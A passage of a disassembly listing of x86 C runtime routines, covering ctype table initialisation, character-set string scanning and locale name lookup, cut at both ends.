retn sub_436AF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_436B90 proc near ; DATA XREF: .XComp0:004529F0o var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_E = byte ptr -0Eh push ebp mov ebp, esp sub esp, 30h mov [ebp+var_2C], 0 mov [ebp+var_28], 0 cmp dword_4E92E4, 0 jz loc_436EE1 cmp dword_4E92F4, 0 jnz short loc_436BE0 push offset dword_4E92F4 push 1004h xor eax, eax mov ax, word_4E9460 push eax push 0 call sub_43AA10 add esp, 10h test eax, eax jz short loc_436BE0 jmp loc_436EA2 ; --------------------------------------------------------------------------- loc_436BE0: ; CODE XREF: sub_436B90+28j ; sub_436B90+49j push 5Ch push offset aInitctyp_c ; "initctyp.c" push 2 push 202h call sub_41EDD0 add esp, 10h mov [ebp+var_30], eax push 5Eh push offset aInitctyp_c ; "initctyp.c" push 2 push 202h call sub_41EDD0 add esp, 10h mov [ebp+var_1C], eax push 60h push offset aInitctyp_c ; "initctyp.c" push 2 push 101h call sub_41EDD0 add esp, 10h mov [ebp+var_2C], eax push 62h push offset aInitctyp_c ; "initctyp.c" push 2 push 202h call sub_41EDD0 add esp, 10h mov [ebp+var_28], eax cmp [ebp+var_30], 0 jz short loc_436C5C cmp [ebp+var_1C], 0 jz short loc_436C5C cmp [ebp+var_2C], 0 jz short loc_436C5C cmp [ebp+var_28], 0 jnz short loc_436C61 loc_436C5C: ; CODE XREF: sub_436B90+B8j ; sub_436B90+BEj ... jmp loc_436EA2 ; --------------------------------------------------------------------------- loc_436C61: ; CODE XREF: sub_436B90+CAj mov ecx, [ebp+var_2C] mov [ebp+var_18], ecx mov [ebp+var_20], 0 jmp short loc_436C79 ; --------------------------------------------------------------------------- loc_436C70: ; CODE XREF: sub_436B90+103j mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx loc_436C79: ; CODE XREF: sub_436B90+DEj cmp [ebp+var_20], 100h jge short loc_436C95 mov eax, [ebp+var_18] mov cl, byte ptr [ebp+var_20] mov [eax], cl mov edx, [ebp+var_18] add edx, 1 mov [ebp+var_18], edx jmp short loc_436C70 ; --------------------------------------------------------------------------- loc_436C95: ; CODE XREF: sub_436B90+F0j lea eax, [ebp+var_14] push eax mov ecx, dword_4E92F4 push ecx nop call near ptr 29A0246h test eax, eax jnz short loc_436CAF jmp loc_436EA2 ; --------------------------------------------------------------------------- loc_436CAF: ; CODE XREF: sub_436B90+118j cmp [ebp+var_14], 2 jbe short loc_436CBA jmp loc_436EA2 ; --------------------------------------------------------------------------- loc_436CBA: ; CODE XREF: sub_436B90+123j mov edx, [ebp+var_14] and edx, 0FFFFh mov dword_4524F0, edx cmp dword_4524F0, 1 jle short loc_436D29 lea eax, [ebp+var_E] mov [ebp+var_18], eax jmp short loc_436CE3 ; --------------------------------------------------------------------------- loc_436CDA: ; CODE XREF: sub_436B90:loc_436D27j mov ecx, [ebp+var_18] add ecx, 2 mov [ebp+var_18], ecx loc_436CE3: ; CODE XREF: sub_436B90+148j mov edx, [ebp+var_18] xor eax, eax mov al, [edx] test eax, eax jz short loc_436D29 mov ecx, [ebp+var_18] xor edx, edx mov dl, [ecx+1] test edx, edx jz short loc_436D29 mov eax, [ebp+var_18] xor ecx, ecx mov cl, [eax] mov [ebp+var_20], ecx jmp short loc_436D0F ; --------------------------------------------------------------------------- loc_436D06: ; CODE XREF: sub_436B90+195j mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx loc_436D0F: ; CODE XREF: sub_436B90+174j mov eax, [ebp+var_18] xor ecx, ecx mov cl, [eax+1] cmp [ebp+var_20], ecx jg short loc_436D27 mov edx, [ebp+var_2C] add edx, [ebp+var_20] mov byte ptr [edx], 0 jmp short loc_436D06 ; --------------------------------------------------------------------------- loc_436D27: ; CODE XREF: sub_436B90+18Aj jmp short loc_436CDA ; --------------------------------------------------------------------------- loc_436D29: ; CODE XREF: sub_436B90+140j ; sub_436B90+15Cj ... push 0 push 0 push 0 mov eax, [ebp+var_30] add eax, 2 push eax push 100h mov ecx, [ebp+var_2C] push ecx push 1 call sub_433870 add esp, 1Ch test eax, eax jnz short loc_436D52 jmp loc_436EA2 ; --------------------------------------------------------------------------- loc_436D52: ; CODE XREF: sub_436B90+1BBj mov edx, [ebp+var_30] mov word ptr [edx], 0 mov eax, [ebp+var_28] mov [ebp+var_24], eax mov [ebp+var_20], 0 jmp short loc_436D72 ; --------------------------------------------------------------------------- loc_436D69: ; CODE XREF: sub_436B90+1FEj mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx loc_436D72: ; CODE XREF: sub_436B90+1D7j cmp [ebp+var_20], 100h jge short loc_436D90 mov edx, [ebp+var_24] mov ax, word ptr [ebp+var_20] mov [edx], ax mov ecx, [ebp+var_24] add ecx, 2 mov [ebp+var_24], ecx jmp short loc_436D69 ; --------------------------------------------------------------------------- loc_436D90: ; CODE XREF: sub_436B90+1E9j push 0 push 0 mov edx, [ebp+var_1C] add edx, 2 push edx push 100h mov eax, [ebp+var_28] push eax push 1 call sub_43ACB0 add esp, 18h test eax, eax jnz short loc_436DB7 jmp loc_436EA2 ; --------------------------------------------------------------------------- loc_436DB7: ; CODE XREF: sub_436B90+220j mov ecx, [ebp+var_1C] mov word ptr [ecx], 0 cmp dword_4524F0, 1 jle short loc_436E23 lea edx, [ebp+var_E] mov [ebp+var_18], edx jmp short loc_436DD9 ; --------------------------------------------------------------------------- loc_436DD0: ; CODE XREF: sub_436B90:loc_436E21j mov eax, [ebp+var_18] add eax, 2 mov [ebp+var_18], eax loc_436DD9: ; CODE XREF: sub_436B90+23Ej mov ecx, [ebp+var_18] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_436E23 mov eax, [ebp+var_18] xor ecx, ecx mov cl, [eax+1] test ecx, ecx jz short loc_436E23 mov edx, [ebp+var_18] xor eax, eax mov al, [edx] mov [ebp+var_20], eax jmp short loc_436E05 ; --------------------------------------------------------------------------- loc_436DFC: ; CODE XREF: sub_436B90+28Fj mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx loc_436E05: ; CODE XREF: sub_436B90+26Aj mov edx, [ebp+var_18] xor eax, eax mov al, [edx+1] cmp [ebp+var_20], eax jg short loc_436E21 mov ecx, [ebp+var_20] mov edx, [ebp+var_30] mov word ptr [edx+ecx*2+2], 8000h jmp short loc_436DFC ; --------------------------------------------------------------------------- loc_436E21: ; CODE XREF: sub_436B90+280j jmp short loc_436DD0 ; --------------------------------------------------------------------------- loc_436E23: ; CODE XREF: sub_436B90+236j ; sub_436B90+252j ... mov eax, [ebp+var_30] add eax, 2 mov off_4522E4, eax mov ecx, [ebp+var_1C] add ecx, 2 mov off_4522E8, ecx cmp dword_4E944C, 0 jz short loc_436E54 push 2 mov edx, dword_4E944C push edx call sub_41F970 add esp, 8 loc_436E54: ; CODE XREF: sub_436B90+2B1j mov eax, [ebp+var_30] mov dword_4E944C, eax cmp dword_4E9450, 0 jz short loc_436E76 push 2 mov ecx, dword_4E9450 push ecx call sub_41F970 add esp, 8 loc_436E76: ; CODE XREF: sub_436B90+2D3j mov edx, [ebp+var_1C] mov dword_4E9450, edx push 2 mov eax, [ebp+var_2C] push eax call sub_41F970 add esp, 8 push 2 mov ecx, [ebp+var_28] push ecx call sub_41F970 add esp, 8 xor eax, eax jmp loc_436F2C ; --------------------------------------------------------------------------- loc_436EA2: ; CODE XREF: sub_436B90+4Bj ; sub_436B90:loc_436C5Cj ... push 2 mov edx, [ebp+var_30] push edx call sub_41F970 add esp, 8 push 2 mov eax, [ebp+var_1C] push eax call sub_41F970 add esp, 8 push 2 mov ecx, [ebp+var_2C] push ecx call sub_41F970 add esp, 8 push 2 mov edx, [ebp+var_28] push edx call sub_41F970 add esp, 8 mov eax, 1 jmp short loc_436F2C ; --------------------------------------------------------------------------- loc_436EE1: ; CODE XREF: sub_436B90+1Bj mov off_4522E4, offset word_4522EE mov off_4522E8, offset word_4522EE push 2 mov eax, dword_4E944C push eax call sub_41F970 add esp, 8 push 2 mov ecx, dword_4E9450 push ecx call sub_41F970 add esp, 8 mov dword_4E944C, 0 mov dword_4E9450, 0 xor eax, eax loc_436F2C: ; CODE XREF: sub_436B90+30Dj ; sub_436B90+34Fj mov esp, ebp pop ebp retn sub_436B90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_436F30 proc near ; DATA XREF: .XComp0:004529E4o push ebp mov ebp, esp xor eax, eax pop ebp retn sub_436F30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_436F40 proc near ; CODE XREF: .XComp0:00430A2Ep ; sub_4310E0+7Bp var_24 = dword ptr -24h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+arg_4] lea ecx, [ecx+0] loc_436F54: ; CODE XREF: sub_436F40+1Fj mov al, [edx] or al, al jz short loc_436F61 inc edx bts [esp+24h+var_24], eax jmp short loc_436F54 ; --------------------------------------------------------------------------- loc_436F61: ; CODE XREF: sub_436F40+18j mov esi, [ebp+arg_0] or ecx, 0FFFFFFFFh nop loc_436F68: ; CODE XREF: sub_436F40+34j inc ecx mov al, [esi] or al, al jz short loc_436F76 inc esi bt [esp+24h+var_24], eax jnb short loc_436F68 loc_436F76: ; CODE XREF: sub_436F40+2Dj mov eax, ecx add esp, 20h pop esi leave retn sub_436F40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_436F80 proc near ; CODE XREF: .XComp0:0043094Dp var_24 = dword ptr -24h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+arg_4] lea ecx, [ecx+0] loc_436F94: ; CODE XREF: sub_436F80+1Fj mov al, [edx] or al, al jz short loc_436FA1 inc edx bts [esp+24h+var_24], eax jmp short loc_436F94 ; --------------------------------------------------------------------------- loc_436FA1: ; CODE XREF: sub_436F80+18j mov esi, [ebp+arg_0] loc_436FA4: ; CODE XREF: sub_436F80+2Fj mov al, [esi] or al, al jz short loc_436FB4 inc esi bt [esp+24h+var_24], eax jnb short loc_436FA4 lea eax, [esi-1] loc_436FB4: ; CODE XREF: sub_436F80+28j add esp, 20h pop esi leave retn sub_436F80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_436FC0 proc near ; CODE XREF: sub_430EF0+D3p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 cmp dword_4E9498, 0 jnz short loc_436FF2 call sub_437A90 test eax, eax jz short loc_436FE2 mov eax, dword_4EB354 mov [ebp+var_8], eax jmp short loc_436FE9 ; --------------------------------------------------------------------------- loc_436FE2: ; CODE XREF: sub_436FC0+16j mov [ebp+var_8], offset sub_437AE0 loc_436FE9: ; CODE XREF: sub_436FC0+20j mov ecx, [ebp+var_8] mov dword_4E9498, ecx loc_436FF2: ; CODE XREF: sub_436FC0+Dj cmp [ebp+arg_0], 0 jnz short loc_437002 call sub_4378E0 jmp loc_4370CE ; --------------------------------------------------------------------------- loc_437002: ; CODE XREF: sub_436FC0+36j mov edx, [ebp+arg_0] mov dword_4E9488, edx cmp dword_4E9488, 0 jz short loc_437034 mov eax, dword_4E9488 movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_437034 push offset dword_4E9488 push 40h push offset off_453110 call sub_4371C0 add esp, 0Ch loc_437034: ; CODE XREF: sub_436FC0+52j ; sub_436FC0+5Ej mov edx, [ebp+arg_0] add edx, 40h mov dword_4E948C, edx cmp dword_4E948C, 0 jz short loc_437069 mov eax, dword_4E948C movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_437069 push offset dword_4E948C push 16h push offset off_453058 call sub_4371C0 add esp, 0Ch loc_437069: ; CODE XREF: sub_436FC0+87j ; sub_436FC0+93j mov dword_4E9490, 0 cmp dword_4E9488, 0 jz short loc_4370AD mov edx, dword_4E9488 movsx eax, byte ptr [edx] test eax, eax jz short loc_4370AD cmp dword_4E948C, 0 jz short loc_4370A6 mov ecx, dword_4E948C movsx edx, byte ptr [ecx] test edx, edx jz short loc_4370A6 call sub_437250 jmp short loc_4370AB ; --------------------------------------------------------------------------- loc_4370A6: ; CODE XREF: sub_436FC0+D0j ; sub_436FC0+DDj call sub_437640 loc_4370AB: ; CODE XREF: sub_436FC0+E4j jmp short loc_4370CE ; --------------------------------------------------------------------------- loc_4370AD: ; CODE XREF: sub_436FC0+BAj ; sub_436FC0+C7j cmp dword_4E948C, 0 jz short loc_4370C9 mov eax, dword_4E948C movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_4370C9 call sub_4377E0 jmp short loc_4370CE ; --------------------------------------------------------------------------- loc_4370C9: ; CODE XREF: sub_436FC0+F4j ; sub_436FC0+100j call sub_4378E0 loc_4370CE: ; CODE XREF: sub_436FC0+3Dj ; sub_436FC0:loc_4370ABj ... cmp dword_4E9490, 0 jnz short loc_4370DE xor eax, eax jmp loc_4371BC ; --------------------------------------------------------------------------- loc_4370DE: ; CODE XREF: sub_436FC0+115j mov edx, [ebp+arg_0] add edx, 80h push edx call sub_437910 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_43710C mov eax, [ebp+var_4] and eax, 0FFFFh push eax nop call near ptr 2740000h test eax, eax jnz short loc_437113 loc_43710C: ; CODE XREF: sub_436FC0+137j xor eax, eax jmp loc_4371BC ; --------------------------------------------------------------------------- loc_437113: ; CODE XREF: sub_436FC0+14Aj push 1 mov ecx, dword_4E9478 push ecx nop call near ptr 2750000h test eax, eax jnz short loc_43712D xor eax, eax jmp loc_4371BC ; --------------------------------------------------------------------------- loc_43712D: ; CODE XREF: sub_436FC0+164j cmp [ebp+arg_4], 0 jz short loc_437158 mov edx, [ebp+arg_4] mov ax, word ptr dword_4E9478 mov [edx], ax mov ecx, [ebp+arg_4] mov dx, word ptr dword_4E9494 mov [ecx+2], dx mov eax, [ebp+arg_4] mov cx, word ptr [ebp+var_4] mov [eax+4], cx loc_437158: ; CODE XREF: sub_436FC0+171j cmp [ebp+arg_8], 0 jz short loc_4371B7 push 40h mov edx, [ebp+arg_8] push edx push 1001h mov eax, dword_4E9478 push eax call dword_4E9498 test eax, eax jnz short loc_43717D xor eax, eax jmp short loc_4371BC ; --------------------------------------------------------------------------- loc_43717D: ; CODE XREF: sub_436FC0+1B7j push 40h mov ecx, [ebp+arg_8] add ecx, 40h push ecx push 1002h mov edx, dword_4E9494 push edx call dword_4E9498 test eax, eax jnz short loc_4371A0 xor eax, eax jmp short loc_4371BC ; --------------------------------------------------------------------------- loc_4371A0: ; CODE XREF: sub_436FC0+1DAj push 0Ah mov eax, [ebp+arg_8] add eax, 80h push eax mov ecx, [ebp+var_4] push ecx call sub_432880 add esp, 0Ch loc_4371B7: ; CODE XREF: sub_436FC0+19Cj mov eax, 1 loc_4371BC: ; CODE XREF: sub_436FC0+119j ; sub_436FC0+14Ej ... mov esp, ebp pop ebp retn sub_436FC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4371C0 proc near ; CODE XREF: sub_436FC0+6Cp ; sub_436FC0+A1p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_8], 1 mov [ebp+var_C], 0 loc_4371D4: ; CODE XREF: sub_4371C0:loc_43723Cj mov eax, [ebp+var_C] cmp eax, [ebp+arg_4] jg short loc_43723E cmp [ebp+var_8], 0 jz short loc_43723E mov eax, [ebp+var_C] add eax, [ebp+arg_4] cdq sub eax, edx sar eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov eax, [edx+ecx*8] push eax mov ecx, [ebp+arg_8] mov edx, [ecx] push edx call sub_43AF20 add esp, 8 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_437222 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea edx, [ecx+eax*8+4] mov eax, [ebp+arg_8] mov [eax], edx jmp short loc_43723C ; --------------------------------------------------------------------------- loc_437222: ; CODE XREF: sub_4371C0+4Fj cmp [ebp+var_8], 0 jge short loc_437233 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+arg_4], ecx jmp short loc_43723C ; --------------------------------------------------------------------------- loc_437233: ; CODE XREF: sub_4371C0+66j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_C], edx loc_43723C: ; CODE XREF: sub_4371C0+60j ; sub_4371C0+71j jmp short loc_4371D4 ; --------------------------------------------------------------------------- loc_43723E: ; CODE XREF: sub_4371C0+1Aj ; sub_4371C0+20j mov esp, ebp pop ebp retn sub_4371C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437250 proc near ; CODE XREF: sub_436FC0+DFp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov eax, dword_4E9488 push eax call sub_41EBD0 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov dword_4E9484, ecx mov edx, dword_4E948C push edx call sub_41EBD0 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov dword_4E947C, ecx mov dword_4E9478, 0 cmp dword_4E9484, 0 jz short loc_4372A9 mov [ebp+var_4], 2 jmp short loc_4372BB ; --------------------------------------------------------------------------- loc_4372A9: ; CODE XREF: sub_437250+4Ej mov edx, dword_4E9488 push edx call sub_437CF0 add esp, 4 mov [ebp+var_4], eax loc_4372BB: ; CODE XREF: sub_437250+57j mov eax, [ebp+var_4] mov dword_4E9480, eax push 1 push offset sub_437310 call near ptr 2730D5Dh nop mov ecx, dword_4E9490 and ecx, 100h test ecx, ecx jz short loc_4372FC mov edx, dword_4E9490 and edx, 200h test edx, edx jz short loc_4372FC mov eax, dword_4E9490 and eax, 7 test eax, eax jnz short loc_437306 loc_4372FC: ; CODE XREF: sub_437250+8Ej ; sub_437250+9Ej mov dword_4E9490, 0 loc_437306: ; CODE XREF: sub_437250+AAj mov esp, ebp pop ebp retn sub_437250 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437310 proc near ; DATA XREF: sub_437250+75o var_7C = dword ptr -7Ch var_78 = byte ptr -78h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7Ch mov eax, [ebp+arg_0] push eax call sub_437C70 add esp, 4 mov [ebp+var_7C], eax push 78h lea ecx, [ebp+var_78] push ecx mov edx, dword_4E947C neg edx sbb edx, edx and edx, 0FFFFF005h add edx, 1002h push edx mov eax, [ebp+var_7C] push eax call dword_4E9498 test eax, eax jnz short loc_437364 mov dword_4E9490, 0 mov eax, 1 jmp loc_43762E ; --------------------------------------------------------------------------- loc_437364: ; CODE XREF: sub_437310+3Ej lea ecx, [ebp+var_78] push ecx mov edx, dword_4E948C push edx call sub_43AF20 add esp, 8 test eax, eax jnz loc_43749F push 78h lea eax, [ebp+var_78] push eax mov ecx, dword_4E9484 neg ecx sbb ecx, ecx and ecx, 0FFFFF002h add ecx, 1001h push ecx mov edx, [ebp+var_7C] push edx call dword_4E9498 test eax, eax jnz short loc_4373BE mov dword_4E9490, 0 mov eax, 1 jmp loc_43762E ; --------------------------------------------------------------------------- loc_4373BE: ; CODE XREF: sub_437310+98j lea eax, [ebp+var_78] push eax mov ecx, dword_4E9488 push ecx call sub_43AF20 add esp, 8 test eax, eax jnz short loc_437400 mov edx, dword_4E9490 or edx, 304h mov dword_4E9490, edx mov eax, [ebp+var_7C] mov dword_4E9494, eax mov ecx, dword_4E9494 mov dword_4E9478, ecx jmp loc_43749F ; --------------------------------------------------------------------------- loc_437400: ; CODE XREF: sub_437310+C3j mov edx, dword_4E9490 and edx, 2 test edx, edx jnz loc_43749F cmp dword_4E9480, 0 jz short loc_43746D mov eax, dword_4E9480 push eax lea ecx, [ebp+var_78] push ecx mov edx, dword_4E9488 push edx call sub_43AFF0 add esp, 0Ch test eax, eax jnz short loc_43746D mov eax, dword_4E9490 or al, 2 mov dword_4E9490, eax mov ecx, [ebp+var_7C] mov dword_4E9494, ecx mov edx, dword_4E9488 push edx call sub_41EBD0 add esp, 4 cmp eax, dword_4E9480 jnz short loc_43746B mov eax, [ebp+var_7C] mov dword_4E9478, eax loc_43746B: ; CODE XREF: sub_437310+151j jmp short loc_43749F ; --------------------------------------------------------------------------- loc_43746D: ; CODE XREF: sub_437310+108j ; sub_437310+125j mov ecx, dword_4E9490 and ecx, 1 test ecx, ecx jnz short loc_43749F mov edx, [ebp+var_7C] push edx call sub_4379B0 add esp, 4 test eax, eax jz short loc_43749F mov eax, dword_4E9490 or al, 1 mov dword_4E9490, eax mov ecx, [ebp+var_7C] mov dword_4E9494, ecx loc_43749F: ; CODE XREF: sub_437310+69j ; sub_437310+EBj ... mov edx, dword_4E9490 and edx, 300h cmp edx, 300h jz loc_437621 push 78h lea eax, [ebp+var_78] push eax mov ecx, dword_4E9484 neg ecx sbb ecx, ecx and ecx, 0FFFFF002h add ecx, 1001h push ecx mov edx, [ebp+var_7C] push edx call dword_4E9498 test eax, eax jnz short loc_4374F6 mov dword_4E9490, 0 mov eax, 1 jmp loc_43762E ; --------------------------------------------------------------------------- loc_4374F6: ; CODE XREF: sub_437310+1D0j lea eax, [ebp+var_78] push eax mov ecx, dword_4E9488 push ecx call sub_43AF20 add esp, 8 test eax, eax jnz loc_4375C0 mov edx, dword_4E9490 or dh, 2 mov dword_4E9490, edx cmp dword_4E9484, 0 jz short loc_43754A mov eax, dword_4E9490 or ah, 1 mov dword_4E9490, eax cmp dword_4E9478, 0 jnz short loc_437548 mov ecx, [ebp+var_7C] mov dword_4E9478, ecx loc_437548: ; CODE XREF: sub_437310+22Dj jmp short loc_4375BE ; --------------------------------------------------------------------------- loc_43754A: ; CODE XREF: sub_437310+217j cmp dword_4E9480, 0 jz short loc_43759F mov edx, dword_4E9488 push edx call sub_41EBD0 add esp, 4 cmp eax, dword_4E9480 jnz short loc_43759F push 1 mov eax, [ebp+var_7C] push eax call sub_437A00 add esp, 8 test eax, eax jz short loc_43759D mov ecx, dword_4E9490 or ch, 1 mov dword_4E9490, ecx cmp dword_4E9478, 0 jnz short loc_43759D mov edx, [ebp+var_7C] mov dword_4E9478, edx loc_43759D: ; CODE XREF: sub_437310+26Aj ; sub_437310+282j jmp short loc_4375BE ; --------------------------------------------------------------------------- loc_43759F: ; CODE XREF: sub_437310+241j ; sub_437310+258j mov eax, dword_4E9490 or ah, 1 mov dword_4E9490, eax cmp dword_4E9478, 0 jnz short loc_4375BE mov ecx, [ebp+var_7C] mov dword_4E9478, ecx loc_4375BE: ; CODE XREF: sub_437310:loc_437548j ; sub_437310:loc_43759Dj ... jmp short loc_437621 ; --------------------------------------------------------------------------- loc_4375C0: ; CODE XREF: sub_437310+1FBj cmp dword_4E9484, 0 jnz short loc_437621 cmp dword_4E9480, 0 jz short loc_437621 mov edx, dword_4E9480 push edx lea eax, [ebp+var_78] push eax mov ecx, dword_4E9488 push ecx call sub_43AFF0 add esp, 0Ch test eax, eax jnz short loc_437621 push 0 mov edx, [ebp+var_7C] push edx call sub_437A00 add esp, 8 test eax, eax jz short loc_437621 mov eax, dword_4E9490 or ah, 1 mov dword_4E9490, eax cmp dword_4E9478, 0 jnz short loc_437621 mov ecx, [ebp+var_7C] mov dword_4E9478, ecx loc_437621: ; CODE XREF: sub_437310+1A1j ; sub_437310:loc_4375BEj ... mov eax, dword_4E9490 and eax, 4 neg eax sbb eax, eax inc eax loc_43762E: ; CODE XREF: sub_437310+4Fj ; sub_437310+A9j ... mov esp, ebp pop ebp retn 4 sub_437310 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437640 proc near ; CODE XREF: sub_436FC0:loc_4370A6p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov eax, dword_4E9488 push eax call sub_41EBD0 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov dword_4E9484, ecx cmp dword_4E9484, 0 jz short loc_437672 mov [ebp+var_4], 2 jmp short loc_437684 ; --------------------------------------------------------------------------- loc_437672: ; CODE XREF: sub_437640+27j mov edx, dword_4E9488 push edx call sub_437CF0 add esp, 4 mov [ebp+var_4], eax loc_437684: ; CODE XREF: sub_437640+30j mov eax, [ebp+var_4] mov dword_4E9480, eax push 1 push offset sub_4376C0 nop call near ptr 2730D5Dh mov ecx, dword_4E9490 and ecx, 4 test ecx, ecx jnz short loc_4376B0 mov dword_4E9490, 0 loc_4376B0: ; CODE XREF: sub_437640+64j mov esp, ebp pop ebp retn sub_437640 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4376C0 proc near ; DATA XREF: sub_437640+4Eo var_7C = dword ptr -7Ch var_78 = byte ptr -78h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7Ch mov eax, [ebp+arg_0] push eax call sub_437C70 add esp, 4 mov [ebp+var_7C], eax push 78h lea ecx, [ebp+var_78] push ecx mov edx, dword_4E9484 neg edx sbb edx, edx and edx, 0FFFFF002h add edx, 1001h push edx mov eax, [ebp+var_7C] push eax call dword_4E9498 test eax, eax jnz short loc_437714 mov dword_4E9490, 0 mov eax, 1 jmp loc_4377D9 ; --------------------------------------------------------------------------- loc_437714: ; CODE XREF: sub_4376C0+3Ej lea ecx, [ebp+var_78] push ecx mov edx, dword_4E9488 push edx call sub_43AF20 add esp, 8 test eax, eax jnz short loc_437769 cmp dword_4E9484, 0 jnz short loc_437746 push 1 mov eax, [ebp+var_7C] push eax call sub_437A00 add esp, 8 test eax, eax jz short loc_437767 loc_437746: ; CODE XREF: sub_4376C0+72j mov ecx, [ebp+var_7C] mov dword_4E9494, ecx mov edx, dword_4E9494 mov dword_4E9478, edx mov eax, dword_4E9490 or al, 4 mov dword_4E9490, eax loc_437767: ; CODE XREF: sub_4376C0+84j jmp short loc_4377CC ; --------------------------------------------------------------------------- loc_437769: ; CODE XREF: sub_4376C0+69j cmp dword_4E9484, 0 jnz short loc_4377CC cmp dword_4E9480, 0 jz short loc_4377CC mov ecx, dword_4E9480 push ecx lea edx, [ebp+var_78] push edx mov eax, dword_4E9488 push eax call sub_43AFF0 add esp, 0Ch test eax, eax jnz short loc_4377CC push 0 mov ecx, [ebp+var_7C] push ecx call sub_437A00 add esp, 8 test eax, eax jz short loc_4377CC mov edx, [ebp+var_7C] mov dword_4E9494, edx mov eax, dword_4E9494 mov dword_4E9478, eax mov ecx, dword_4E9490 or ecx, 4 mov dword_4E9490, ecx loc_4377CC: ; CODE XREF: sub_4376C0:loc_437767j ; sub_4376C0+B0j ... mov eax, dword_4E9490 and eax, 4 neg eax sbb eax, eax inc eax loc_4377D9: ; CODE XREF: sub_4376C0+4Fj mov esp, ebp pop ebp retn 4 sub_4376C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4377E0 proc near ; CODE XREF: sub_436FC0+102p push ebp mov ebp, esp mov eax, dword_4E948C push eax call sub_41EBD0 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov dword_4E947C, ecx push 1 push offset sub_437830 nop call near ptr 2730D5Dh mov edx, dword_4E9490 and edx, 4 test edx, edx jnz short loc_437823 mov dword_4E9490, 0 loc_437823: ; CODE XREF: sub_4377E0+37j pop ebp retn sub_4377E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437830 proc near ; DATA XREF: sub_4377E0+21o var_7C = dword ptr -7Ch var_78 = byte ptr -78h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7Ch mov eax, [ebp+arg_0] push eax call sub_437C70 add esp, 4 mov [ebp+var_7C], eax push 78h lea ecx, [ebp+var_78] push ecx mov edx, dword_4E947C neg edx sbb edx, edx and edx, 0FFFFF005h add edx, 1002h push edx mov eax, [ebp+var_7C] push eax call dword_4E9498 test eax, eax jnz short loc_437881 mov dword_4E9490, 0 mov eax, 1 jmp short loc_4378D6 ; --------------------------------------------------------------------------- loc_437881: ; CODE XREF: sub_437830+3Ej lea ecx, [ebp+var_78] push ecx mov edx, dword_4E948C push edx call sub_43AF20 add esp, 8 test eax, eax jnz short loc_4378C9 mov eax, [ebp+var_7C] push eax call sub_4379B0 add esp, 4 test eax, eax jz short loc_4378C9 mov ecx, [ebp+var_7C] mov dword_4E9494, ecx mov edx, dword_4E9494 mov dword_4E9478, edx mov eax, dword_4E9490 or al, 4 mov dword_4E9490, eax loc_4378C9: ; CODE XREF: sub_437830+66j ; sub_437830+76j mov eax, dword_4E9490 and eax, 4 neg eax sbb eax, eax inc eax loc_4378D6: ; CODE XREF: sub_437830+4Fj mov esp, ebp pop ebp retn 4 sub_437830 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4378E0 proc near ; CODE XREF: sub_436FC0+38p ; sub_436FC0:loc_4370C9p push ebp mov ebp, esp mov eax, dword_4E9490 or eax, 104h mov 